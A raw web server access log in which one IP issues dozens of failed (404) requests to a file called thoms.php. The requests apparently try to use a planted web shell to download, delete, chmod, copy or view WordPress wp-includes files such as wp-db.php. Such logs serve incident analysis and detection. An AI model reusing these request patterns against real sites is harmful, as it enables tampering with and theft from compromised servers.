45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?del=fonts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?del=class-wp-hook.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?dl=post-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=script-modules.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?chmod=theme-templates.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?del=theme-templates.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?del=utf8.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=utf8.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?dl=wp-db.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?dl=user.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?chmod=canonical.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?del=class-wp-http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?del=class-wp-term.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:45 -0400] "GET /thoms.php?dl=connectors.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?del=js&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=js&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?chmod=embed-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?del=ms-settings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?chmod=icons.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=icons.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?del=l10n&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=l10n&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?dl=class-feed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?del=feed-atom.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?chmod=block-supports&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?dl=class-http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?del=class-wp-comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?dl=http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?chmod=ms-settings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?chmod=admin-bar.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-bindings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-bindings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?dl=canonical.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?chmod=class-wp-icon-collections-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icon-collections-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcompat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcompat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Flink-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Flink-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?chmod=connectors.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?del=post.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
